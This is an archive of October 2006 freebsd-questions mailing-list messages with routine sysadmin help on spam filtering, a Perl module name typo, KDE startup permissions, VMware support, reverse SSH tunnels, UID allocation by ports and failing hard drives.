Re: Non English Spam

2006-10-13 Thread Anders Gulden Olstad
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Beech Rintoul wrote:
> I'm getting a ton of spam every day  that comes from China, Japan and Korea. 
> Spam Assassin completely ignores it because it has all non-english characters 
> and slows kmail to a crawl loading. Is there a way to filter on non-english 
> either using Spam Assassin or procmail? 
> 
> Suggestions would be appreciated.
> 
> Beech

This procmail rule catches all of my non-english spam

# Trap misc charset mail in header and body
:0HB
* charset=.*BIG5.*|\
  charset=.*GB2312.*|\
  charset=.*DEFAULT_CHARSET.*|\
  charset=.*ks_c_5601-1987.*|\
  charset=.*euc-kr.*|\
  charset=.*ISO-2022-KR.*|\
  ^Subject:.*BIG5.*|\
  ^Subject:.*GB2312.*
/dev/null




-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.5 (FreeBSD)
Comment: Grunbacher Altweizen Dunkel
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFFMIQTMVyOPWVstbURAsaGAKDXkCWAJ2xonZdWlNhKT61rpuhgzgCgsez2
CwIgRdaN4Q6/RkqfcRjkOB4=
=9ltQ
-END PGP SIGNATURE-

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Perl's GetOpt::Std -- Where is it?

2006-10-13 Thread Josh Carroll

Actually, it looks like you're trying to:

use GetOpt::Std;

But it should be:

use Getopt::Std;

Note the non-capital o there :)

Josh

On 10/13/06, Garrett Cooper <[EMAIL PROTECTED]> wrote:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Garrett Cooper wrote:
>   I'm trying to make a Perl script with GetOpt::Std, a Perl module
> that's supposed to exist with the base installation of Perl. Perl
> reports that it doesn't exist in the @INC path for Perl and I haven't
> really installed any additional Perl modules (at least to my knowledge).
> Plus, if there is a port or option where I can keep GetOpt::Std up to
> date, that would be the best way to maintain things.
>   Any help with this pursuit's much appreciated!
> -Garrett

Probably should have included more info:

Can't locate GetOpt/Std.pm in @INC (@INC contains:
/usr/local/lib/perl5/5.8.8/BSDPAN
/usr/local/lib/perl5/site_perl/5.8.8/mach
/usr/local/lib/perl5/site_perl/5.8.8
/usr/local/lib/perl5/site_perl/5.8.7 /usr/local/lib/perl5/site_perl
/usr/local/lib/perl5/5.8.8/mach /usr/local/lib/perl5/5.8.8 .) at
./ipf_gen.pl line 7.
BEGIN failed--compilation aborted at ./ipf_gen.pl line 7.
[EMAIL PROTECTED] ~]$

- -Garrett
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFFMHn16CkrZkzMC68RAlO+AJ9YmKP8HkA1WGu4hN0JIT+rPcFrxACZAQNy
xiPk1Prr3lr5+H/XMrXdFl8=
=tC1E
-END PGP SIGNATURE-
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Perl's GetOpt::Std -- Where is it?

2006-10-13 Thread Josh Carroll

Which version of perl do you currently have installed? For the latest
perl port, it should be located here:

/usr/local/lib/perl5/5.8.8/Getopt/Std.pm

% pkg_which /usr/local/lib/perl5/5.8.8/Getopt/Std.pm
perl-5.8.8

Perhaps try re-installing the perl port.

Josh


On 10/13/06, Garrett Cooper <[EMAIL PROTECTED]> wrote:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

I'm trying to make a Perl script with GetOpt::Std, a Perl module
that's supposed to exist with the base installation of Perl. Perl
reports that it doesn't exist in the @INC path for Perl and I haven't
really installed any additional Perl modules (at least to my knowledge).
Plus, if there is a port or option where I can keep GetOpt::Std up to
date, that would be the best way to maintain things.
Any help with this pursuit's much appreciated!
- -Garrett
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFFMHj66CkrZkzMC68RAjHvAJwIqM1jmymQ4s/7zqmRomL//NTpPgCfddMs
iuC3evMEHhcAQ2MuWkdFxY0=
=n/wl
-END PGP SIGNATURE-
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Perl's GetOpt::Std -- Where is it?

2006-10-13 Thread Garrett Cooper
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Garrett Cooper wrote:
>   I'm trying to make a Perl script with GetOpt::Std, a Perl module
> that's supposed to exist with the base installation of Perl. Perl
> reports that it doesn't exist in the @INC path for Perl and I haven't
> really installed any additional Perl modules (at least to my knowledge).
> Plus, if there is a port or option where I can keep GetOpt::Std up to
> date, that would be the best way to maintain things.
>   Any help with this pursuit's much appreciated!
> -Garrett

Probably should have included more info:

Can't locate GetOpt/Std.pm in @INC (@INC contains:
/usr/local/lib/perl5/5.8.8/BSDPAN
/usr/local/lib/perl5/site_perl/5.8.8/mach
/usr/local/lib/perl5/site_perl/5.8.8
/usr/local/lib/perl5/site_perl/5.8.7 /usr/local/lib/perl5/site_perl
/usr/local/lib/perl5/5.8.8/mach /usr/local/lib/perl5/5.8.8 .) at
./ipf_gen.pl line 7.
BEGIN failed--compilation aborted at ./ipf_gen.pl line 7.
[EMAIL PROTECTED] ~]$

- -Garrett
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFFMHn16CkrZkzMC68RAlO+AJ9YmKP8HkA1WGu4hN0JIT+rPcFrxACZAQNy
xiPk1Prr3lr5+H/XMrXdFl8=
=tC1E
-END PGP SIGNATURE-
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Perl's GetOpt::Std -- Where is it?

2006-10-13 Thread Garrett Cooper
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

I'm trying to make a Perl script with GetOpt::Std, a Perl module
that's supposed to exist with the base installation of Perl. Perl
reports that it doesn't exist in the @INC path for Perl and I haven't
really installed any additional Perl modules (at least to my knowledge).
Plus, if there is a port or option where I can keep GetOpt::Std up to
date, that would be the best way to maintain things.
Any help with this pursuit's much appreciated!
- -Garrett
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFFMHj66CkrZkzMC68RAjHvAJwIqM1jmymQ4s/7zqmRomL//NTpPgCfddMs
iuC3evMEHhcAQ2MuWkdFxY0=
=n/wl
-END PGP SIGNATURE-
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Non English Spam

2006-10-13 Thread Matthew Seaman
Beech Rintoul wrote:
> I'm getting a ton of spam every day  that comes from China, Japan and Korea. 
> Spam Assassin completely ignores it because it has all non-english characters 
> and slows kmail to a crawl loading. Is there a way to filter on non-english 
> either using Spam Assassin or procmail? 
> 
> Suggestions would be appreciated.

Install the IP::Country perl modules (port: net/p5-IP-Country) and
uncomment the lines in /usr/local/etc/mail/spamassassin/init.pre to
enable Mail::SpamAssassin::Plugin::RelayCountry plugin, which causes
the Bayesian filters to learn which countries relay most spam to you.

Look for the discussion on 'ok_locales' in the Mail::SpamAssassin::Conf
perldoc.  Set that to 'en' and messages in character sets other than
anything based on the Latin (and possibly Greek) alphabet will get a
higher spam score.  You can put that into
/usr/local/etc/mail/spamassassin/local.cf for a site-wide effect or into
per-user ~/.spamassassin/user_prefs config files.

Cheers,

Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.   7 Priory Courtyard
  Flat 3
PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate
  Kent, CT11 9PW



signature.asc
Description: OpenPGP digital signature


Re: Non English Spam

2006-10-13 Thread Chad Leigh -- Shire.Net LLC


On Oct 13, 2006, at 7:12 PM, Beech Rintoul wrote:

I'm getting a ton of spam every day  that comes from China, Japan  
and Korea.
Spam Assassin completely ignores it because it has all non-english  
characters


I don't know what settings affect this but SpamAssassin actually  
catches most of the Japanese and Chinese language spam we get (have  
not seen Korean).  (I have whitelisted a couple of Japan email  
addresses that send us legit email in Japanese but others that are  
not spam do not get flagged that often as spam -- don't ask me how it  
works).


Chad

and slows kmail to a crawl loading. Is there a way to filter on non- 
english

either using Spam Assassin or procmail?

Suggestions would be appreciated.

Beech
--


---
Chad Leigh -- Shire.Net LLC
Your Web App and Email hosting provider
chad at shire.net





Re: Non English Spam

2006-10-13 Thread Brian

Paul Schmehl wrote:
--On October 13, 2006 5:12:27 PM -0800 Beech Rintoul 
<[EMAIL PROTECTED]> wrote:



I'm getting a ton of spam every day  that comes from China, Japan and
Korea.  Spam Assassin completely ignores it because it has all
non-english characters  and slows kmail to a crawl loading. Is there a
way to filter on non-english  either using Spam Assassin or procmail?

Suggestions would be appreciated.


/usr/ports/mail/postfix-policyd-weight/

Your troubles will be over.

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
http://www.utdallas.edu/ir/security/
I didn't catch if this was sendmail or not, but spamasassin kept updated 
and a lower could be spam score gets me very little spam, the stock 
stuff is about all that occasionally gets through for me.


Brian

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: startkde: cannot start kdeinit. Check your installation

2006-10-13 Thread Karl Agee


--- Paul Schmehl <[EMAIL PROTECTED]> wrote:

> --On October 13, 2006 6:11:42 PM -0700 Karl Agee
> <[EMAIL PROTECTED]> wrote:
> 
> >
> > 6.2-PRERELEASE FreeBSD 6.2-PRERELEASE #4: Mon Oct 
> 2
> > 08:40:06 PDT 2006
> >
> > I cannot start kde.  Installed kde 3.5.4 from
> pkg_add
> > -r kde and everything installed fine.  I put in my
> > ~/.xinitrc file:
> >
> > startkde
> >
> Edit /etc/ttys to look like this:
> 
> ttyv8   "/usr/local/bin/kdm -nodaemon"  xterm   on
> secure
> 
> Then reboot.
> 
> Paul Schmehl ([EMAIL PROTECTED])
> Adjunct Information Security Officer
> The University of Texas at Dallas
> http://www.utdallas.edu/ir/security/
> 

Paul:  thanks for the suggestion.  I did that, I got
the same exact error.  8-(

--Karl

__
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: startkde: cannot start kdeinit. Check your installation

2006-10-13 Thread Karl Agee


--- "Donald J. O'Neill" <[EMAIL PROTECTED]> wrote:

> On Friday 13 October 2006 20:11, Karl Agee wrote:
> > 6.2-PRERELEASE FreeBSD 6.2-PRERELEASE #4: Mon Oct 
> 2
> > 08:40:06 PDT 2006
> >
> > I cannot start kde.  Installed kde 3.5.4 from
> pkg_add
> > -r kde and everything installed fine.  I put in my
> > ~/.xinitrc file:
> >
> > startkde
> >
> > but I keep getting this error:
> >
> > /usr/local/bin/startkde: permission denied
> > startkde: could not start kdeinit.  check your
> > installation
> >
> > I have changed the entry in .xinitrc to :
> > exec startkde
> > # and to
> > /usr/local/bin/startkde
> >
> > with the same results.  I also cannot start kde as
> > root, I get the same thing.
> >
> > kdeinit is:
> >
> > -r--r--r--  1 root  wheel  39876 Oct  6 01:18
> > /usr/local/bin/kdeinit
> >
> 
> 
> 
> >
> > I have tried changing permissions on kdeinit but
> with
> > the same result.  I have also removed the kdebase
> > package and reinstalled it, but with the same
> results.
> >
> >
> > I've searched everywhere and have seen the same
> > problems posted with different OS's and versions
> of
> > kde but nothing solid as to solutions.
> >
> > anybody got any ideas?
> >
> >
> 
> chmod 555 /usr/local/bin/kdeinit
> permisions should also be 555 for startkde
> 
> You may have some other files permission problems.
> 
> Don

Don:  I did that, same exact error.

--Karl


__
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: VMWare

2006-10-13 Thread Pete Slagle
Bill Moran wrote:

> In response to "Davison, Robert" <[EMAIL PROTECTED]>:
> 
>> I'm looking to run VMware on my FreeBSD box and note that version 3 is in 
>> the ports.
>>
>> I've not tried running Linux software ontop of FreeBSD, but how easy is it 
>> to download the free VMware Server software off their site and install so I 
>> get the most recent version, and more importantly a free one.
>>
>> Is it just a case of downloading and installing the binary through the usual 
>> route or is it a bit more complex ?
> 
> What's wrong with your email?  I got a bunch of HTML at the end?
> 
> Anyway, VMWare is a special case.  It's got hooks deep into the Linux
> network drivers that (as far as I know) are a showstopper that prevents
> VMWare from running under the Linuxulator.
> 
> If you learn differently, I'd love to hear it, but it's not possible
> as far as I know.

Every time I attend a trade show at which VMware has a booth, I always
stop by to ask about any plans for supporting VM hosting on FreeBSD, and
to encourage the thought.

No one has ever given the slightest indication that this is even
remotely likely to happen in the foreseeable future.

The usual reason given is that FreeBSD's market share does not come
close to justifying the VMware company resources that would be required
to support it. Couldn't hurt to keep bugging 'em though.


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Non English Spam

2006-10-13 Thread Eric

[EMAIL PROTECTED] wrote:

Beech Rintoul wrote:
I'm getting a ton of spam every day  that comes from China, Japan and 
Korea. Spam Assassin completely ignores it because it has all 
non-english characters and slows kmail to a crawl loading. Is there a 
way to filter on non-english either using Spam Assassin or procmail?

Suggestions would be appreciated.

Beech


May be it is not exactly an answer to your question, but we started to 
use real time black lists with postfix and it works pretty well (though 
some spam comes through). There have been no complains of false positive 
so far (almost 6 months).


I noticed how well it works when we switched it off today for 2 hours 
because of an error and the anti-virus programs started to jump.


And we get very seldom non-English spam.

I do not know if procmail has something similar.



i found postgrey to be a fantastic addition to my antispam arsenal. 
check it out. it really works well


Eric
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Non English Spam

2006-10-13 Thread Paul Schmehl
--On October 13, 2006 5:12:27 PM -0800 Beech Rintoul 
<[EMAIL PROTECTED]> wrote:



I'm getting a ton of spam every day  that comes from China, Japan and
Korea.  Spam Assassin completely ignores it because it has all
non-english characters  and slows kmail to a crawl loading. Is there a
way to filter on non-english  either using Spam Assassin or procmail?

Suggestions would be appreciated.


/usr/ports/mail/postfix-policyd-weight/

Your troubles will be over.

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
http://www.utdallas.edu/ir/security/


Re: startkde: cannot start kdeinit. Check your installation

2006-10-13 Thread Paul Schmehl

--On October 13, 2006 6:11:42 PM -0700 Karl Agee <[EMAIL PROTECTED]> wrote:



6.2-PRERELEASE FreeBSD 6.2-PRERELEASE #4: Mon Oct  2
08:40:06 PDT 2006

I cannot start kde.  Installed kde 3.5.4 from pkg_add
-r kde and everything installed fine.  I put in my
~/.xinitrc file:

startkde


Edit /etc/ttys to look like this:

ttyv8   "/usr/local/bin/kdm -nodaemon"  xterm   on secure

Then reboot.

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
http://www.utdallas.edu/ir/security/


Re: startkde: cannot start kdeinit. Check your installation

2006-10-13 Thread Donald J. O'Neill
On Friday 13 October 2006 20:11, Karl Agee wrote:
> 6.2-PRERELEASE FreeBSD 6.2-PRERELEASE #4: Mon Oct  2
> 08:40:06 PDT 2006
>
> I cannot start kde.  Installed kde 3.5.4 from pkg_add
> -r kde and everything installed fine.  I put in my
> ~/.xinitrc file:
>
> startkde
>
> but I keep getting this error:
>
> /usr/local/bin/startkde: permission denied
> startkde: could not start kdeinit.  check your
> installation
>
> I have changed the entry in .xinitrc to :
> exec startkde
> # and to
> /usr/local/bin/startkde
>
> with the same results.  I also cannot start kde as
> root, I get the same thing.
>
> kdeinit is:
>
> -r--r--r--  1 root  wheel  39876 Oct  6 01:18
> /usr/local/bin/kdeinit
>



>
> I have tried changing permissions on kdeinit but with
> the same result.  I have also removed the kdebase
> package and reinstalled it, but with the same results.
>
>
> I've searched everywhere and have seen the same
> problems posted with different OS's and versions of
> kde but nothing solid as to solutions.
>
> anybody got any ideas?
>
>

chmod 555 /usr/local/bin/kdeinit
permisions should also be 555 for startkde

You may have some other files permission problems.

Don


>
>
>
> __
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> ___
> freebsd-questions@freebsd.org mailing list
> http://lists.freebsd.org/mailman/listinfo/freebsd-questions
> To unsubscribe, send any mail to
> "[EMAIL PROTECTED]"
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Non English Spam

2006-10-13 Thread [EMAIL PROTECTED]

Beech Rintoul wrote:
I'm getting a ton of spam every day  that comes from China, Japan and Korea. 
Spam Assassin completely ignores it because it has all non-english characters 
and slows kmail to a crawl loading. Is there a way to filter on non-english 
either using Spam Assassin or procmail? 


Suggestions would be appreciated.

Beech


May be it is not exactly an answer to your question, but we started to 
use real time black lists with postfix and it works pretty well (though 
some spam comes through). There have been no complains of false positive 
so far (almost 6 months).


I noticed how well it works when we switched it off today for 2 hours 
because of an error and the anti-virus programs started to jump.


And we get very seldom non-English spam.

I do not know if procmail has something similar.

Iv
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Non English Spam

2006-10-13 Thread Beech Rintoul
I'm getting a ton of spam every day  that comes from China, Japan and Korea. 
Spam Assassin completely ignores it because it has all non-english characters 
and slows kmail to a crawl loading. Is there a way to filter on non-english 
either using Spam Assassin or procmail? 

Suggestions would be appreciated.

Beech
-- 

---
Beech Rintoul - Sys. Administrator - [EMAIL PROTECTED]
/"\   ASCII Ribbon Campaign  | Alaska Paradise
\ / - NO HTML/RTF in e-mail  | 201 East 9Th Avenue Ste.310
 X  - NO Word docs in e-mail | Anchorage, AK 99501
/ \  - Please visit Alaska Paradise - http://www.alaskaparadise.com
---













pgpeUgJThtkj1.pgp
Description: PGP signature


startkde: cannot start kdeinit. Check your installation

2006-10-13 Thread Karl Agee

6.2-PRERELEASE FreeBSD 6.2-PRERELEASE #4: Mon Oct  2
08:40:06 PDT 2006 

I cannot start kde.  Installed kde 3.5.4 from pkg_add
-r kde and everything installed fine.  I put in my
~/.xinitrc file:

startkde

but I keep getting this error:  

/usr/local/bin/startkde: permission denied
startkde: could not start kdeinit.  check your
installation

I have changed the entry in .xinitrc to :
exec startkde
# and to
/usr/local/bin/startkde

with the same results.  I also cannot start kde as
root, I get the same thing.

kdeinit is:

-r--r--r--  1 root  wheel  39876 Oct  6 01:18
/usr/local/bin/kdeinit

I have tried changing permissions on kdeinit but with
the same result.  I have also removed the kdebase
package and reinstalled it, but with the same results.


I've searched everywhere and have seen the same
problems posted with different OS's and versions of
kde but nothing solid as to solutions.

anybody got any ideas?





__
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: ssh tunnel - remote access through nat

2006-10-13 Thread Solovyov, Evgeny
On 25.07.06 12:03 , Drew wrote:
> Hi,
> I've got a box that's nat'd out to the internet. It is occassionally
> neccessary for me to access this box remotely. The obvious answer is:
> 
> ssh -R :localhost:22 remote.box cat
> 
> run from the nat'd box where remote box is a place I pretty much always have
> access too from anywhere, anytime. The problem is that the connection
> between these two boxes is famously unreliable - so I need to ensure that
> this connection stays available. Unfortunately, the procedure for this is
> not obvious to me. I've thought about a cron job, as the connection would
> simply fail if it couldn't bind to  on the remote box to listen. But I'm
> thinking there has to be something that makes more sense. Suggestions?
> Feedback? Thanks in advance for any pointers.
> ___
> freebsd-questions@freebsd.org mailing list
> http://lists.freebsd.org/mailman/listinfo/freebsd-questions
> To unsubscribe, send any mail to "[EMAIL PROTECTED]"
> 

You can look in /usr/ports/security/autossh

here is a link too:

http://www.jfranken.de/homepages/johannes/vortraege/ssh2_inhalt.de.html#ToC16


E. Solovyov

-- 
Indecision is the basis for flexibility.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Hard Drive Issues

2006-10-13 Thread George Allan
On Fri, Oct 13, 2006 at 03:03:31PM -0400, Richard McIntyre wrote:
> David Kelly wrote:
> 
> >On Thu, Oct 12, 2006 at 06:54:53PM +0100, Spiros Papadopoulos wrote:
> 
> >>Since as you say everything is working, maybe it is a good idea to
> >>take a look and run the fsck command at least it may give you some
> >>more information, which you can post in order to get better answers
> 
> >That too, but first I'd start with sysutils/smartmontools and see what
> >the drive and its built-in log says.
> 
> I'm having a similar problem,
> Oct 13 03:01:31 tco1 kernel: ad2: FAILURE - READ_DMA 
> status=51 error=40 LBA=181778119
> Oct 13 07:11:15 tco1 kernel: ad2: FAILURE - READ_DMA 
> status=51 error=40 LBA=181778119
> 
> I'm assuming that particular sector on the drive is dying, I have backed 
> everything up on the drive, can anyone give me more information, should 
> the drive simply be replaced or is it possible that this is simply a TOC 
> error and could be corrected by newfs to the drive?
> 
> I'm guessing it will need to be replaced, output of smartctl is below
> [...]

I ran into similar issues with what I believe was an identical Seagate
drive.  The customer service folks at Seagate weren't too interested in
discussing the output from smartmontools and insisted the only supported
method of monitoring drive health was using their own DOS utility
(available on their website).  So before replacing the drive, I decided
to give it a go.

The results were hardly informative as the the utility is designed on a
PASS/FAIL model.  It failed, of course, but the REPLACE THIS DRIVE
IMMEDIATELY warning message helped confirm things for me.  

Soon thereafter I needed to set up a Windows box and didn't have a drive
I was willing to spare, so I used the defective one which I still had
lying around.  Oddly enough, the setup went fine and still works to this
day.  Go figure.

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Hard Drive Issues

2006-10-13 Thread David Kelly
On Fri, Oct 13, 2006 at 03:03:31PM -0400, Richard McIntyre wrote:
> David Kelly wrote:
> 
> >On Thu, Oct 12, 2006 at 06:54:53PM +0100, Spiros Papadopoulos wrote:
> >
> >>Since as you say everything is working, maybe it is a good idea to
> >>take a look and run the fsck command at least it may give you some
> >>more information, which you can post in order to get better answers
> >
> >That too, but first I'd start with sysutils/smartmontools and see what
> >the drive and its built-in log says.
> 
> I'm having a similar problem,

[...]

> I'm guessing it will need to be replaced, output of smartctl is below

[...]

> SMART support is: Available - device has SMART capability.
> SMART support is: Disabled

Download the Seagate Tools CD, boot it, and enable SMART. Let the drive
repair itself. Problem is that the problem has gone on long enough that
the data in that block is totally lost.

>  After command completion occurred, registers were:
>  ER ST SC SN CL CH DH
>  -- -- -- -- -- -- --
>  40 51 04 c7 b6 d5 ea  Error: UNC 4 sectors at LBA = 0x0ad5b6c7 = 181778119

What you need to do is figure out what file occupied that LBA and deal
with its corruption. If part of the filesystem metadata then fsck will
deal with it as best as can be.

The Seagate tools will replace the bad block with a spare held in
reserve. The spare will answer to the old's LBA. If SMART had been
enabled in the first place the drive should have exchanged the block for
a spare before the data was lost without bothering you. Doesn't always
catch it in time. This sort of thing happens all the time.

Thats why the tool is smart *mon*, its a monitor that you can watch
inside the drive to see if its recovering from errors and on its last
legs. Death is usually pronounced when the drive runs out of spare
blocks for repair. Thats usually when a problem is first noticed.

-- 
David Kelly N4HHE, [EMAIL PROTECTED]

Whom computers would destroy, they must first drive mad.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: ports adding users

2006-10-13 Thread Lowell Gilbert
Jonathan McKeown <[EMAIL PROTECTED]> writes:

> This is, I guess, a philosophical question.
>
> Twice in the last couple of weeks I have been bitten by ports adding users or 
> groups. In setting up my laptop, I created my user account in sysinstall 
> without creating my group. My ~ was created with the GID corresponding to my 
> UID, but in building KDE, comms/gnokii used pw groupadd and was allocated 
> `my' GID, resulting in my ~ being group-owned by gnokii.
>
> More seriously, we are moving our user accounts into LDAP and I now have a 
> problem on a server where I installed net/isc-dhcp3-server before configuring 
> pam_ldap and nss_ldap. As a result the dhcpd user (in /etc/passwd) and one of 
> my user accounts (in LDAP) have the same UID and GID. Disentangling these is 
> going to be... interesting.
>
> After some digging about, I see I can effectively reserve a block of 
> UIDs/GIDs 
> by starting my UID numbering at (1001 + x), and creating /etc/pw.conf with
>
> reuseuids yes
> reusegids yes
>
> to use the UIDs/GIDs between 1000 and (1000 + x) (otherwise pw just allocates 
> a UID/GID higher than any in use, which puts it right back in my reserved 
> range). Perhaps I should also set the maxuid/maxgid options too, just in 
> case?
>
> That's one option.
>
> Another is to expect dozens of busy port maintainers to cover for me by 
> reserving UIDs/GIDs instead of creating random users.
>
> Another is to arrange somehow that the ports infrastructure provide a pw.conf 
> which can be used when pw is called by ports, that limits the range of 
> UIDs/GIDs that a port can be allocated so that it doesn't overlap with the 
> range generally used for user accounts.

The convention is, indeed, that users get UIDs from 1000 up.  This
doesn't seem to be explicitly described anywhere I can find at the
moment, but it is implemented in adduser(8) -- and the porter's
handbook requires hard-coded UIDs and GIDs to be under 1000 (but
strongly recommends using pw(8) unless there is an important reason
not to do so).

A lot of your problem, though, is that you're trying to combine the
UID (and GID) space of different machines, that have collisions.  The
fact that some of those were created by ports isn't really important;
the problem is that the UID maps were created independently and now
need to be combined.  Even if the ports and user spaces had been kept
separate, there would have been conflicts between ports installed on
different machines adding different uids on each, and unless you were
planning ahead, with users being created likewise.

I'm not sure there's a perfect solution, other than planning ahead.

-- 
Lowell Gilbert, embedded/networking software engineer, Boston area
http://be-well.ilk.org/~lowell/
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"


Re: Hard Drive Issues

2006-10-13 Thread Tom Judge

Richard McIntyre wrote:

I'm having a similar problem,
Oct 13 03:01:31 tco1 kernel: ad2: FAILURE - READ_DMA 
status=51 error=40 LBA=181778119
Oct 13 07:11:15 tco1 kernel: ad2: FAILURE - READ_DMA 
status=51 error=40 LBA=181778119


I'm assuming that particular sector on the drive is dying, I have 
backed everything up on the drive, can anyone give me more 
information, should the drive simply be replaced or is it possible 
that this is simply a TOC error and could be corrected by newfs to the 
drive?


I'm guessing it will need to be replaced, output of smartctl is below

Thanks
~Richard

Error 7742 occurred at disk power-on lifetime: 16036 hours (668 days + 
4 hours)
 When the command that caused the error occurred, the device was 
active or idle.


 After command completion occurred, registers were:
 ER ST SC SN CL CH DH
 -- -- -- -- -- -- --
 40 51 04 c7 b6 d5 ea  Error: UNC 4 sectors at LBA = 0x0ad5b6c7 = 
181778119


 Commands leading to the command that caused the error were:
 CR FR SC SN CL CH DH DC   Powered_Up_Time  Command/Feature_Name
 -- -- -- -- -- -- -- --    
 c8 00 04 c7 b6 d5 ea 00  15:22:37.737  READ DMA
 c8 00 04 9b b4 e1 ea 00  15:22:37.493  READ DMA
 c8 00 04 97 b4 e1 ea 00  15:22:37.251  READ DMA
 c8 00 04 a7 b4 e1 ea 00  15:22:37.002  READ DMA
 c8 00 04 a3 b4 e1 ea 00  15:22:36.761  READ DMA

Error 7741 occurred at disk power-on lifetime: 16032 hours (668 days + 
0 hours)
 When the command that caused the error occurred, the device was 
active or idle.


 After command completion occurred, registers were:
 ER ST SC SN CL CH DH
 -- -- -- -- -- -- --
 40 51 04 c7 b6 d5 ea  Error: UNC 4 sectors at LBA = 0x0ad5b6c7 = 
181778119


 Commands leading to the command that caused the error were:
 CR FR SC SN CL CH DH DC   Powered_Up_Time  Command/Feature_Name
 -- -- -- -- -- -- -- --    
 c8 00 04 c7 b6 d5 ea 00  11:08:40.154  READ DMA
 35 00 20 df ff 2b 40 00  11:08:40.145  WRITE DMA EXT
 35 00 20 1f d5 16 40 00  11:08:44.953  WRITE DMA EXT
 ca 00 20 3f c0 92 ef 00  11:08:40.258  WRITE DMA
 ca 00 20 df 85 81 ef 00  11:08:40.250  WRITE DMA

Error 7740 occurred at disk power-on lifetime: 16012 hours (667 days + 
4 hours)
 When the command that caused the error occurred, the device was 
active or idle.


 After command completion occurred, registers were:
 ER ST SC SN CL CH DH
 -- -- -- -- -- -- --
 40 51 04 c7 b6 d5 ea  Error: UNC 4 sectors at LBA = 0x0ad5b6c7 = 
181778119


 Commands leading to the command that caused the error were:
 CR FR SC SN CL CH DH DC   Powered_Up_Time  Command/Feature_Name
 -- -- -- -- -- -- -- --    
 c8 00 04 c7 b6 d5 ea 00  15:49:49.473  READ DMA
 c8 00 04 9b b4 e1 ea 00  15:49:49.220  READ DMA
